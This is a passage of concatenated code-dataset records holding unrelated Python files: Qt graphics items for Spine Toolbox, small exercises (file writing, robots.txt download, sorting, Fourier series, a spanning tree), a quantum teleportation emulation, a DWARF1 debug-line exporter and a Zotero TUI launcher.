change\n\n Returns:\n Whatever super() does with the value parameter\n \"\"\"\n if change == QGraphicsItem.ItemScenePositionHasChanged:\n self._moved_on_scene = True\n self._reposition_name_item()\n self.update_links_geometry()\n self._handle_collisions()\n elif change == QGraphicsItem.GraphicsItemChange.ItemSceneChange and value is None:\n self.prepareGeometryChange()\n self.setGraphicsEffect(None)\n elif change == QGraphicsItem.GraphicsItemChange.ItemSceneHasChanged:\n scene = value\n if scene is None:\n self._scene.removeItem(self.name_item)\n else:\n self._scene = scene\n self._scene.addItem(self.name_item)\n self._reposition_name_item()\n return super().itemChange(change, value)\n\n def set_pos_without_bumping(self, pos):\n \"\"\"Sets position without bumping other items. Needed for undoing move operations.\n\n Args:\n pos (QPointF)\n \"\"\"\n self._bumping = False\n self.setPos(pos)\n self._bumping = True\n\n def _handle_collisions(self):\n \"\"\"Handles collisions with other items.\"\"\"\n prevent_overlapping = self._toolbox.qsettings().value(\"appSettings/preventOverlapping\", defaultValue=\"false\")\n if not self.scene() or not self._bumping or prevent_overlapping != \"true\":\n return\n restablished = self._restablish_bumped_items()\n for other in set(self.collidingItems()) - restablished:\n if isinstance(other, ProjectItemIcon):\n other.make_room_for_item(self)\n\n def make_room_for_item(self, other):\n \"\"\"Makes room for another item.\n\n Args:\n item (ProjectItemIcon)\n \"\"\"\n if self not in other.bumped_rects:\n other.bumped_rects[self] = self.sceneBoundingRect()\n if self not in self.scene().icon_group:\n self.scene().icon_group.add(self)\n self.previous_pos = self.scenePos()\n line = QLineF(other.sceneBoundingRect().center(), self.sceneBoundingRect().center())\n intersection = other.sceneBoundingRect() & self.sceneBoundingRect()\n delta = math.atan(line.angle()) * min(intersection.width(), intersection.height())\n unit_vector = line.unitVector()\n self.moveBy(delta * unit_vector.dx(), delta * unit_vector.dy())\n\n def _restablish_bumped_items(self):\n \"\"\"Moves bumped items back to their original position if no collision would happen anymore.\"\"\"\n restablished = set()\n try:\n for other, rect in self.bumped_rects.items():\n if not self.sceneBoundingRect().intersects(rect):\n other.setPos(rect.center())\n restablished.add(other)\n for other in restablished:\n self.bumped_rects.pop(other, None)\n except RuntimeError:\n pass\n return restablished\n\n def select_item(self):\n \"\"\"Update GUI to show the details of the selected item.\"\"\"\n ind = self._toolbox.project_item_model.find_item(self.name())\n self._toolbox.ui.treeView_project.setCurrentIndex(ind)\n\n def paint(self, painter, option, widget=None):\n \"\"\"Sets a dashed pen if selected.\"\"\"\n selected = bool(option.state & QStyle.StateFlag.State_Selected)\n self._selection_halo.setVisible(selected)\n option.state &= ~QStyle.StateFlag.State_Selected\n super().paint(painter, option, widget)\n\n\nclass ConnectorButton(QGraphicsPathItem):\n \"\"\"Connector button graphics item. Used for Link drawing between project items.\"\"\"\n\n # Regular and hover brushes\n brush = QBrush(QColor(255, 255, 255)) # Used in filling the item\n hover_brush = QBrush(QColor(50, 0, 50, 128)) # Used in filling the item while hovering\n\n def __init__(self, toolbox, parent, position=\"left\"):\n \"\"\"\n Args:\n toolbox (ToolboxUI): QMainWindow instance\n parent (ProjectItemIcon): parent graphics item\n position (str): Either \"top\", \"left\", \"bottom\", or \"right\"\n \"\"\"\n super().__init__(parent)\n self._parent = parent\n self._toolbox = toolbox\n self.position = position\n self.links = list()\n self.setBrush(self.brush)\n parent_rect = parent.rect()\n extent = 0.2 * parent_rect.width()\n self._rect = QRectF(0, 0, extent, extent)\n if position == \"top\":\n self._rect.moveCenter(QPointF(parent_rect.center().x(), parent_rect.top() + extent / 2))\n elif position == \"left\":\n self._rect.moveCenter(QPointF(parent_rect.left() + extent / 2, parent_rect.center().y()))\n elif position == \"bottom\":\n self._rect.moveCenter(QPointF(parent_rect.center().x(), parent_rect.bottom() - extent / 2))\n elif position == \"right\":\n self._rect.moveCenter(QPointF(parent_rect.right() - extent / 2, parent_rect.center().y()))\n self.setAcceptHoverEvents(True)\n self.setCursor(Qt.PointingHandCursor)\n\n def rect(self):\n return self._rect\n\n def update_path(self, parent_radius):\n radius = 0.2 * parent_radius\n path = QPainterPath()\n path.addRoundedRect(self._rect, radius, radius)\n self.setPath(path)\n\n @property\n def parent(self):\n return self._parent\n\n def outgoing_links(self):\n return [l for l in self.links if l.src_connector == self]\n\n def incoming_links(self):\n return [l for l in self.links if l.dst_connector == self]\n\n def parent_name(self):\n \"\"\"Returns project item name owning this connector button.\"\"\"\n return self._parent.name()\n\n def project_item(self):\n \"\"\"Returns the project item this connector button is attached to.\n\n Returns:\n ProjectItem: project item\n \"\"\"\n return self._toolbox.project().get_item(self._parent.name())\n\n def mousePressEvent(self, event):\n \"\"\"Connector button mouse press event.\n\n Args:\n event (QGraphicsSceneMouseEvent): Event\n \"\"\"\n if event.button() != Qt.LeftButton:\n event.accept()\n return\n self._parent.select_item()\n self._start_link(event)\n\n def _start_link(self, event):\n scene = self.scene()\n if scene.link_drawer is None:\n scene.select_link_drawer(LinkType.JUMP if event.modifiers() & Qt.AltModifier else LinkType.CONNECTION)\n scene.link_drawer.wake_up(self)\n\n def set_friend_connectors_enabled(self, enabled):\n \"\"\"Enables or disables all connectors in the parent.\n\n This is called by LinkDrawer to disable invalid connectors while drawing and reenabling them back when done.\n\n Args:\n enabled (bool): True to enable connectors, False to disable\n \"\"\"\n for conn in self._parent.connectors.values():\n conn.setEnabled(enabled)\n conn.setBrush(conn.brush) # Remove hover brush from src connector that was clicked\n\n def set_hover_brush(self):\n self.setBrush(self.hover_brush)\n\n def set_normal_brush(self):\n self.setBrush(self.brush)\n\n def hoverEnterEvent(self, event):\n \"\"\"Sets a darker shade to connector button when mouse enters its boundaries.\n\n Args:\n event (QGraphicsSceneMouseEvent): Event\n \"\"\"\n self.set_hover_brush()\n\n def hoverLeaveEvent(self, event):\n \"\"\"Restore original brush when mouse leaves connector button boundaries.\n\n Args:\n event (QGraphicsSceneMouseEvent): Event\n \"\"\"\n self.set_normal_brush()\n\n def itemChange(self, change, value):\n \"\"\"If this is being removed from the scene while it's the origin of the link drawer,\n put the latter to sleep.\"\"\"\n if change == QGraphicsItem.GraphicsItemChange.ItemSceneChange and value is None:\n link_drawer = self.scene().link_drawer\n if link_drawer is not None and link_drawer.src_connector is self:\n link_drawer.sleep()\n return super().itemChange(change, value)\n\n\nclass ExecutionIcon(QGraphicsEllipseItem):\n \"\"\"An icon to show information about the item's execution.\"\"\"\n\n _CHECK = \"\\uf00c\" # Success\n _CROSS = \"\\uf00d\" # Fail\n _CLOCK = \"\\uf017\" # Waiting\n _SKIP = \"\\uf054\" # Excluded\n\n def __init__(self, parent):\n \"\"\"\n Args:\n parent (ProjectItemIcon): the parent item\n \"\"\"\n super().__init__(parent)\n self._parent = parent\n self._execution_state = \"not started\"\n self._text_item = QGraphicsTextItem(self)\n font = QFont('Font Awesome 5 Free Solid')\n self._text_item.setFont(font)\n parent_rect = parent.rect()\n self.setRect(0, 0, 0.5 * parent_rect.width(), 0.5 * parent_rect.height())\n self.setPen(Qt.NoPen)\n # pylint: disable=undefined-variable\n self.normal_brush = qApp.palette().window()\n self.selected_brush = qApp.palette().highlight()\n self.setBrush(self.normal_brush)\n self.setAcceptHoverEvents(True)\n self.setFlag(QGraphicsItem.ItemIsSelectable, enabled=False)\n self.hide()\n\n def item_name(self):\n return self._parent.name()\n\n def _repaint(self, text, color):\n self._text_item.prepareGeometryChange()\n self._text_item.setPos(0, 0)\n self._text_item.setPlainText(text)\n self._text_item.setDefaultTextColor(color)\n size = self._text_item.boundingRect().size()\n dim_max = max(size.width(), size.height())\n rect_w = self.rect().width()\n self._text_item.setScale(rect_w / dim_max)\n self._text_item.setPos(self.sceneBoundingRect().center() - self._text_item.sceneBoundingRect().center())\n self.show()\n\n def mark_execution_waiting(self):\n self._execution_state = \"waiting for dependencies\"\n self._repaint(self._CLOCK, QColor(\"orange\"))\n\n def mark_execution_ignored(self):\n self._execution_state = \"not started\"\n self.hide()\n\n def mark_execution_started(self):\n self._execution_state = \"in progress\"\n self._repaint(self._CHECK, QColor(\"orange\"))\n\n def mark_execution_finished(self, item_finish_state):\n if item_finish_state == ItemExecutionFinishState.SUCCESS:\n self._execution_state = \"completed\"\n self._repaint(self._CHECK, QColor(\"green\"))\n elif item_finish_state == ItemExecutionFinishState.EXCLUDED:\n self._execution_state = \"excluded\"\n self._repaint(self._CHECK, QColor(\"orange\"))\n elif item_finish_state == ItemExecutionFinishState.SKIPPED:\n self._execution_state = \"skipped\"\n self._repaint(self._SKIP, QColor(\"chocolate\"))\n else:\n self._execution_state = \"failed\"\n self._repaint(self._CROSS, QColor(\"red\"))\n\n def hoverEnterEvent(self, event):\n tip = f\"

    Execution {self._execution_state}. Select this item to see Console and Log messages.

    \"\n QToolTip.showText(event.screenPos(), tip)\n\n def hoverLeaveEvent(self, event):\n QToolTip.hideText()\n\n\nclass ExclamationIcon(QGraphicsTextItem):\n \"\"\"An icon to notify that a ProjectItem is missing some configuration.\"\"\"\n\n FONT_SIZE_PIXELS = 14 # Use pixel size to prevent scaling by system.\n\n def __init__(self, parent):\n \"\"\"\n Args:\n parent (ProjectItemIcon): the parent item\n \"\"\"\n super().__init__(parent)\n self._parent = parent\n self._notifications = list()\n font = QFont('Font Awesome 5 Free Solid')\n font.setPixelSize(self.FONT_SIZE_PIXELS)\n self.setFont(font)\n self.setDefaultTextColor(QColor(\"red\"))\n self.setPlainText(\"\\uf06a\")\n doc = self.document()\n doc.setDocumentMargin(0)\n self.setAcceptHoverEvents(True)\n self.setFlag(QGraphicsItem.ItemIsSelectable, enabled=False)\n self.hide()\n\n def clear_notifications(self):\n \"\"\"Clear all notifications.\"\"\"\n self._notifications.clear()\n self.hide()\n\n def add_notification(self, text):\n \"\"\"Add a notification.\"\"\"\n self._notifications.append(text)\n self.show()\n\n def remove_notification(self, subtext):\n \"\"\"Remove the first notification that includes given subtext.\"\"\"\n k = next((i for i, text in enumerate(self._notifications) if subtext in text), None)\n if k is not None:\n self._notifications.pop(k)\n if not self._notifications:\n self.hide()\n\n def hoverEnterEvent(self, event):\n \"\"\"Shows notifications as tool tip.\n\n Args:\n event (QGraphicsSceneMouseEvent): Event\n \"\"\"\n if not self._notifications:\n return\n tip = \"

    \" + \"

    \".join(self._notifications)\n QToolTip.showText(event.screenPos(), tip)\n\n def hoverLeaveEvent(self, event):\n \"\"\"Hides tool tip.\n\n Args:\n event (QGraphicsSceneMouseEvent): Event\n \"\"\"\n QToolTip.hideText()\n\n\nclass RankIcon(QGraphicsTextItem):\n \"\"\"An icon to show the rank of a ProjectItem within its DAG.\"\"\"\n\n def __init__(self, parent):\n \"\"\"\n Args:\n parent (ProjectItemIcon): the parent item\n \"\"\"\n super().__init__(parent)\n self._parent = parent\n self._rect = parent.component_rect\n self.bg = QGraphicsPathItem(self)\n bg_brush = QApplication.palette().brush(QPalette.ToolTipBase)\n self.bg.setBrush(bg_brush)\n self.bg.setFlag(QGraphicsItem.ItemStacksBehindParent)\n self.setFlag(QGraphicsItem.ItemIsSelectable, enabled=False)\n font = self.font()\n font.setPixelSize(parent.FONT_SIZE_PIXELS)\n font.setBold(True)\n self.setFont(font)\n doc = self.document()\n doc.setDocumentMargin(0)\n\n def _make_path(self, radius):\n path = QPainterPath()\n if radius == 0:\n path.addRect(self._rect)\n return path\n path.moveTo(0, self._rect.height())\n path.lineTo(0.5 * self._rect.width(), self._rect.height())\n path.arcTo(self._rect, 270, 90)\n path.lineTo(self._rect.width(), 0)\n path.lineTo(0.5 * self._rect.width(), 0)\n path.arcTo(self._rect, 90, 90)\n path.lineTo(0, self._rect.height())\n return path\n\n def update_path(self, radius):\n path = self._make_path(radius)\n self.bg.setPath(path)\n\n def set_rank(self, rank):\n self.setPlainText(str(rank))\n self.setTextWidth(self._rect.width())\n # Align center\n fmt = QTextBlockFormat()\n fmt.setAlignment(Qt.AlignHCenter)\n cursor = self.textCursor()\n cursor.select(QTextCursor.SelectionType.Document)\n cursor.mergeBlockFormat(fmt)\n cursor.clearSelection()\n self.setTextCursor(cursor)\n","repo_name":"spine-tools/Spine-Toolbox","sub_path":"spinetoolbox/project_item_icon.py","file_name":"project_item_icon.py","file_ext":"py","file_size_in_byte":27419,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"31"} +{"seq_id":"1746507470","text":"performances = {'Ventriloquism': '9:00am',\n 'Snake Charmer': '12:00pm',\n 'Amazing Acrobatics': '2:00pm',\n 'Enchanted Elephants': '5:00pm'}\nschedule_file = open('schedule.txt', 'w')\n\nfor key, val in performances.items():\n schedule_file.write(key + ' - ' + val + '\\n')\n\nschedule_file.close()\n","repo_name":"ps-interactive/ics_solutions","sub_path":"ic_python_using_lists_dictionaries_loops_files_and_modules/page.4-1-3.writing_the_circus_schedule/answer/circus.py","file_name":"circus.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"31"} +{"seq_id":"34011303588","text":"# Download and save to file robots.txt\n# from wikipedia, twitter websites etc.\n\n# підвантажуємо потрібну бібліотеку\nimport requests\n\n# обираємо потрібну адресу\nurl = 'https://en.wikipedia.org/robots.txt'\n\n\ndef main():\n # перевіряємо успішність запиту\n response = requests.get(url)\n if response.status_code == 200:\n print('Success!')\n elif response.status_code == 404:\n print('Not Found.')\n\n # зберігаємо текст у файл\n with open('robots.txt', 'w', encoding='utf-8') as filename:\n filename.write(response.text)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"romanpovzyk/ba_python_tasks","sub_path":"ba_python_tasks_32/task_32_1.py","file_name":"task_32_1.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9428520700","text":"# Quantum teleportation emulation\n# Source: http://dataespresso.com/en/2018/07/29/Tutorial-Getting-started-with-Quantum-Teleportation-Python/\n\nfrom projectq.ops import All, H, CNOT, Measure, X, Z\nfrom projectq import MainEngine\n\ndef create_bell_pair(engine):\n # Allocate 2 qubits\n qubit_one = engine.allocate_qubit()\n qubit2 = engine.allocate_qubit()\n\n ''' \n Hadamard gate to put Qubit one in superposition\n This sets the value of a equal probability of being 1 or 0\n '''\n H | qubit_one\n\n '''\n CNOT gate to flip the second Qubit conditionally\n on the first qubit being in the state |1⟩\n '''\n CNOT | (qubit_one, qubit2)\n\n return qubit_one, qubit2\n\n\n\ndef create_message(quantum_engine='',qubit_one='', message_value = 0):\n\n qubit_to_send = quantum_engine.allocate_qubit()\n if message_value == 1:\n '''\n setting the qubit to positive if message_value is 1\n by flipping the base state with a Pauli-X gate.\n '''\n X | qubit_to_send\n\n\n # entangle the original qubit with the message qubit\n CNOT | (qubit_to_send, qubit_one)\n\n '''\n 1 - Put the message qubit in superposition \n 2 - Measure out the two values to get the classical bit value\n by collapsing the state. \n '''\n H | qubit_to_send\n Measure | qubit_to_send\n Measure | qubit_one\n\n # The qubits are now turned into normal bits we can send through classical channels\n classical_encoded_message = [int(qubit_to_send), int(qubit_one)]\n\n return classical_encoded_message\n\n\ndef message_reciever(quantum_engine, message, qubit2):\n '''\n Pauli-X and/or Pauli-Z gates are applied to the Qubit,\n conditionally on the values in the message.\n '''\n if message[1] == 1:\n X | qubit2\n if message[0] == 1:\n Z | qubit2\n\n '''\n Measuring the Qubit and collapsing the state down to either 1 or 0\n '''\n Measure | qubit2\n\n quantum_engine.flush()\n\n recieved_bit = int(qubit2)\n return recieved_bit\n\ndef send_receive(bit=0):\n\n # Create bell pair\n qubit_one, qubit_two = create_bell_pair(quantum_engine)\n\n # Entangle the bit with the first qubit\n classical_encoded_message = create_message(quantum_engine=quantum_engine, qubit_one=qubit_one, message_value=bit)\n\n # Teleport the bit and return it back\n return message_reciever(quantum_engine, classical_encoded_message, qubit_two)\n\n\ndef send_full_message(message='DataEspresso.com'):\n # Convert the string into binary values\n binary_encoded_message = [bin(ord(x))[2:].zfill(8) for x in message]\n print('Message to send: ', message)\n print('Binary message to send: ', binary_encoded_message)\n\n '''\n The binary message is divided into a list of each word represented in binary.\n We iterate through each word, and then each bit in the letter.\n Then we append the bits to an list to get back the letter representation\n '''\n received_bytes_list = []\n for letter in binary_encoded_message:\n received_bits = ''\n for bit in letter:\n received_bits = received_bits + str(send_receive(int(bit)))\n received_bytes_list.append(received_bits)\n\n binary_to_string = ''.join([chr(int(x, 2)) for x in received_bytes_list])\n print('Received Binary message: ', received_bytes_list)\n print('Received message: ', binary_to_string)\n\n\n\n# Init engine\nquantum_engine = MainEngine()\n\nmessage = 'Quantum Break'\nsend_full_message(message)\n\n","repo_name":"noff/quantum-stuff","sub_path":"teleportation.py","file_name":"teleportation.py","file_ext":"py","file_size_in_byte":3464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14701633374","text":"import numpy as np\nimport scipy as sp\nimport matplotlib.pyplot as plt\n\nL = 20\nn = 20000\nk = 1\nfreq = k / L\n\ndef findCoefficients(Function, L, res, nc):\n cof = np.zeros((nc, 2))\n x = np.linspace(0, L, res)\n dx = L / res\n for i in range(nc):\n sini = np.sin(2 * np.pi * i * x / L)\n cosi = np.cos(2 * np.pi * i * x / L)\n cof[i,0] = np.sum(Function * cosi) * dx * (2 / L)\n cof[i,1] = np.sum(Function * sini) * dx * (2 / L)\n cof[0,:] = cof[0,:] / 2\n return cof\n\ndef plotCoefficients(cof, L, res):\n nc = np.shape(cof)[0]\n x = np.linspace(0, L, res)\n func = np.zeros(res)\n for i in range(nc):\n sini = np.sin(2 * np.pi * i * x / L)\n cosi = np.cos(2 * np.pi * i * x / L)\n func += cof[i,0] * cosi + cof[i,1] * sini\n return func\n\ndef squareWave(x, A):\n length = np.shape(x)[0]\n func = np.zeros(length)\n for i in range(length // 2, length):\n func[i] = A\n return func\n\nx = np.linspace(0, L, n)\nsqrW = squareWave(x, 1)\n\ncoefs = findCoefficients(sqrW, L, n, 10000)\nApprox = plotCoefficients(coefs, L, n)\n\nplt.plot(x, sqrW)\nplt.plot(x, Approx)\nplt.show()\n","repo_name":"BirkKarlsen/TFY4240","sub_path":"Generel Fourier.py","file_name":"Generel Fourier.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33899948177","text":"from test_sort import * \n\ndef insertion_sort(nums):\n n = len(nums)\n if n <= 1:\n return nums\n \n for i in range(1,n):\n # Warning: starting from i = 1 causes too many unnecessary comparisons\n temp = nums[i]\n for j in range(0, i):\n if temp < nums[j]:\n nums[j], temp = temp, nums[j]\n nums[i] = temp\n \n return\n\ndef insertion_sort_clrs(nums):\n n = len(nums)\n for j in range(1, n):\n key = nums[j]\n i = j - 1\n while i >= 0 and nums[i] > key:\n nums[i+1] = nums[i] # We know the new item is smaller so we move existing items forward by one\n i = i - 1\n nums[i+1] = key\n\ndata = gen_test(1e4)\n\nprint(\"Pre-sort: \",verify_sort(data))\ninsertion_sort(data)\nprint(\"Sort1 finished.\")\nprint(\"Sort1 success:\",verify_sort(data))\n\nrandom.shuffle(data)\ninsertion_sort_clrs(data)\nprint(\"Sort 2 success:\",verify_sort(data))\n \n","repo_name":"JasonVann/CLRS","sub_path":"S1_Foundation/C2_GettingStarted/insertion_sort.py","file_name":"insertion_sort.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"21105380131","text":"#-------------------------------------------------------------------------------\n# Export debug line info from an ELF that contains GCC DWARF1 data\n#-------------------------------------------------------------------------------\nfrom __future__ import print_function\nimport io\nimport os\nimport struct\nimport sys\n\nfrom elftools.elf.elffile import ELFFile\nfrom typing import NamedTuple\nfrom dataclasses import dataclass\n\ndef formatted_read(srcdata, format, numbytes):\n\treturn struct.unpack(format, srcdata.read(numbytes))[0]\n\n@dataclass\nclass LineEntry:\n\t# the line number in the source file that corresponds to the current instruction\n\tlineNum: int\n\t# position on the line at which a statement occurs, value is 0xffff if the position doesn't need to be determined\n\tstatementPos: int\n\t# offset from this compile unit's base address to the current instruction\n\taddrDelta: int\n\n@dataclass\nclass LineSectionChunk:\n\t# the size of this compile unit's .line section\n\tsectionSize: int\n\t# the virtual address that this compile unit starts at\n\tcuStartAddress: int\n\nclass SrcinfoEntry(NamedTuple):\n\t# offset into the .line section\n\tlineEntryOffset: int\n\t# offset into the .debug_sfnames section\n\tsfNameOffset: int\n\nclass SrcinfoSectionChunk(NamedTuple):\n\t# offset to a LineSectionChunk from the beginning of the .line section\n\tcuLineOffset: int\n\t# offset into the .debug_sfnames section for this compile unit\n\tcuSfnamesOffset: int\n\t# starting offset for this compile unit's .text section\n\tcuTextStartOffset: int\n\t# ending offset for this compile unit's .text section\n\tcuTextEndOffset: int\n\t# if specified by the compiler, describes the date/time at which this compile unit was compiled\n\t# defaults to 0xffffffff otherwise\n\tcompileDateTime: int\n\t# a list of SrcinfoEntry data for this compile unit\n\tentries: list\n\tfinalLineEntryOffset: int\n\n\ndef process_file(filename, outdirectory):\n\tprint('Processing file:', filename)\n\twith open(filename, 'rb') as f:\n\t\telffile = ELFFile(f)\n\t\tsrcinfoSection = elffile.get_section_by_name(\".debug_srcinfo\")\n\t\tsrcinfoChunks = []\n\n\t\twith io.BytesIO(srcinfoSection.data()) as srcinfoData:\n\t\t\t# read each compile unit chunk in the .debug_srcinfo section\n\t\t\twhile srcinfoData.tell() < srcinfoSection.data_size:\n\t\t\t\tcuLineOffset = formatted_read(srcinfoData, \">I\", 4)\n\t\t\t\tcuSfnamesOffset = formatted_read(srcinfoData, \">I\", 4)\n\t\t\t\tcuTextStartOffset = formatted_read(srcinfoData, \">I\", 4)\n\t\t\t\tcuTextEndOffset = formatted_read(srcinfoData, \">I\", 4)\n\t\t\t\tcompileDateTime = formatted_read(srcinfoData, \">I\", 4)\n\t\t\t\tsrcInfoEntries = []\n\n\t\t\t\t# get all srcinfo entries for the current chunk\n\t\t\t\twhile True:\n\t\t\t\t\t# if this is the final entry, the value will be the offset to the final line entry for this compile unit's .line section\n\t\t\t\t\tlineEntryOffset = formatted_read(srcinfoData, \">I\", 4)\n\t\t\t\t\t# acts as a terminator with the value 0xffffffff if this is the final entry\n\t\t\t\t\tsfNameOffset = formatted_read(srcinfoData, \">I\", 4)\n\n\t\t\t\t\tif sfNameOffset == 0xffffffff:\n\t\t\t\t\t\tsrcinfoChunks.append(SrcinfoSectionChunk(cuLineOffset, cuSfnamesOffset, cuTextStartOffset, cuTextEndOffset, compileDateTime, srcInfoEntries, lineEntryOffset))\n\t\t\t\t\t\t# break out and start reading the next srcinfo chunk\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\tsrcInfoEntries.append(SrcinfoEntry(lineEntryOffset, sfNameOffset))\n\n\t\twith open(os.path.join(outdirectory, \"debug_lines.txt\"), 'w') as outfile:\n\t\t\t# get the line data for each srcinfo chunk\n\t\t\tlineSection = elffile.get_section_by_name(\".line\")\n\t\t\twith io.BytesIO(lineSection.data()) as lineData:\n\t\t\t\tsfnamesSection = elffile.get_section_by_name(\".debug_sfnames\")\n\t\t\t\tsfnamesData = io.BytesIO(sfnamesSection.data())\n\n\t\t\t\tfor srcinfoChunk in srcinfoChunks:\n\t\t\t\t\tlineData.seek(srcinfoChunk.cuLineOffset)\n\n\t\t\t\t\tlineChunk = LineSectionChunk(0,0)\n\t\t\t\t\tlineChunk.sectionSize = formatted_read(lineData, \">I\", 4)\n\t\t\t\t\tlineChunk.cuStartAddress = formatted_read(lineData, \">I\", 4)\n\n\t\t\t\t\tfor idx, entry in enumerate(srcinfoChunk.entries):\n\t\t\t\t\t\t# jump to the entry and name offsets relative to this chunk's sections\n\t\t\t\t\t\t# comments in GCC's source code say otherwise, but this is the correct way\n\t\t\t\t\t\tlineData.seek(srcinfoChunk.cuLineOffset + entry.lineEntryOffset)\n\t\t\t\t\t\tsfnamesData.seek(srcinfoChunk.cuSfnamesOffset + entry.sfNameOffset)\n\t\t\t\t\t\tsourceFile = ''.join(iter(lambda: sfnamesData.read(1).decode('utf-8'), '\\x00'))\n\n\t\t\t\t\t\t# one srcinfo entry can (implicitly) point to multiple line entries for that source file\n\t\t\t\t\t\t# so keep reading line entries until we're at the one the next srcinfo entry points to (or we've run out of entries)\n\t\t\t\t\t\twhile True:\n\t\t\t\t\t\t\tlineEntry = LineEntry(0,0,0)\n\t\t\t\t\t\t\tlineEntry.lineNum = formatted_read(lineData, \">I\", 4)\n\t\t\t\t\t\t\tlineEntry.statementPos = formatted_read(lineData, \">H\", 2)\n\t\t\t\t\t\t\tlineEntry.addrDelta = formatted_read(lineData, \">I\", 4)\n\n\t\t\t\t\t\t\taddrString = format(lineChunk.cuStartAddress + lineEntry.addrDelta, '08X')\n\t\t\t\t\t\t\tlineNumString = str\n\t\t\t\t\t\t\tif lineEntry.statementPos != 0xffff:\n\t\t\t\t\t\t\t\tlineNumString = f\"(line {str(lineEntry.lineNum)}, column {str(lineEntry.statementPos)})\"\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tlineNumString = f\"(line {str(lineEntry.lineNum)})\"\n\n\t\t\t\t\t\t\toutLine = f\"{addrString}: {sourceFile} {lineNumString}\"\n\t\t\t\t\t\t\toutfile.write(outLine + '\\n')\n\n\t\t\t\t\t\t\tmaxEntry = len(srcinfoChunk.entries) - 1\n\t\t\t\t\t\t\tif idx == maxEntry or lineData.tell() >= srcinfoChunk.cuLineOffset + srcinfoChunk.entries[idx+1].lineEntryOffset:\n\t\t\t\t\t\t\t\tbreak\n\n\nif __name__ == '__main__':\n\tif len(sys.argv) < 3:\n\t\tprint('Expected usage: {0} '.format(sys.argv[0]))\n\t\tsys.exit(1)\n\tprocess_file(sys.argv[1], sys.argv[2])","repo_name":"td-9/OpenWoCGC","sub_path":"Decomp/dwarf1_gcc_line_info_2022.py","file_name":"dwarf1_gcc_line_info_2022.py","file_ext":"py","file_size_in_byte":5604,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"23589960968","text":"import argparse\nimport urwid\nimport zoteroutils\nfrom .documentlist import DocumentList\nfrom .misc import exit_trigger, default_theme\n\n\ndef get_cmd_args():\n \"\"\"Returns CMD arguments throught argparse module.\n\n Returns\n -------\n argparse.Namespace\n Returned by argparse.ArgumentParser().parse_args()\n \"\"\"\n\n parser = argparse.ArgumentParser(\n prog=\"totero\",\n description=\"TUI client for Zotero's local SQLite database\",\n epilog=\"Website: https://github.com/piyueh/totero\"\n )\n parser.add_argument(\"path\", help=\"The path to Zotero's folder.\", metavar=\"PATH\")\n\n args = parser.parse_args()\n return args\n\n\ndef main():\n \"\"\"Main function of the TUI client.\"\"\"\n\n zpath = get_cmd_args().path\n database = zoteroutils.Database(zpath)\n\n columns = [\"author\", \"title\", \"publication title\", \"year\", \"time added\"]\n weights = None\n\n box = urwid.AttrMap(\n urwid.LineBox(urwid.Padding(\n DocumentList(database.get_docs(), columns, weights),\n left=2, right=2\n )),\n \"doc list header\"\n )\n\n loop = urwid.MainLoop(box, default_theme, unhandled_input=exit_trigger, pop_ups=True)\n loop.run()\n","repo_name":"piyueh/totero","sub_path":"totero/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"31"} +{"seq_id":"20938107862","text":"#User function Template for python3\nimport heapq\nclass Solution:\n \n #Function to find sum of weights of edges of the Minimum Spanning Tree.\n def spanningTree(self, V, adj):\n #code here\n active_edges=[]\n mst=[False]*V\n cost=0\n heapq.heappush(active_edges,[0,0])\n\n while len(active_edges)!=0:\n wt,node=heapq.heappop(active_edges)\n \n if mst[node]:\n continue\n\n mst[node]=True\n cost+=wt\n \n for v,w in adj[node]:\n \n if not mst[v]:\n heapq.heappush(active_edges,[w,v])\n return cost\n\n#{ \n# Driver Code Starts\n#Initial Template for Python 3\nimport atexit\nimport io\nimport sys\n\n# Contributed by : Nagendra Jha\n\nif __name__ == '__main__':\n test_cases = int(input())\n for cases in range(test_cases):\n V,E = map(int,input().strip().split())\n adj = [[] for i in range(V)]\n for i in range(E):\n u,v,w = map(int,input().strip().split())\n adj[u].append([v,w])\n adj[v].append([u,w])\n ob = Solution()\n \n print(ob.spanningTree(V,adj))\n# } Driver Code Ends","repo_name":"sunjit22/Leetcode-Practice","sub_path":"Minimum Spanning Tree - GFG/minimum-spanning-tree.py","file_name":"minimum-spanning-tree.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21619436518","text":"import logging\nimport itertools\nimport time\nimport RRF as rrf\nimport relation as Rel\n\ndef clean_up_FCSS_dir():\n PATH_FILE = os.path.dirname(os.path.realpath(__file__))+\"/FCSSs\"\n\n if not os.path.exists(PATH_FILE):\n os.makedirs(PATH_FILE)\n\n for root, _, files in os.walk(PATH_FILE):\n for file in files:\n os.remove(os.path.join(root, file))\n\nif __name__ == \"__main__\":\n import os, sys; sys.path.append(os.path.dirname(os.path.realpath(__file__)))\n import tracemalloc\n\n from uctseq_seqsvs import MCTS \n import cf\n\n folder = os.path.dirname(os.path.realpath(__file__))+\"/instances\"\n\n logging.basicConfig(level=logging.INFO)\n\n logging.info(\"Roaring River Flood\")\n\n # INSTANCES\n n, hybrid, timeout = 100, False, 30\n # n, hybrid, timeout = 140, False, 30\n # n, hybrid, timeout = 100, True, 60\n # n, hybrid, timeout = 140, True, 60\n roles_per_personnel = 3 # we always assume a personnel can adopt at most 3 roles \n\n instance = rrf.RRF.load_instance(folder, f\"RRF_A={n}_adopt={roles_per_personnel}_H=3\", 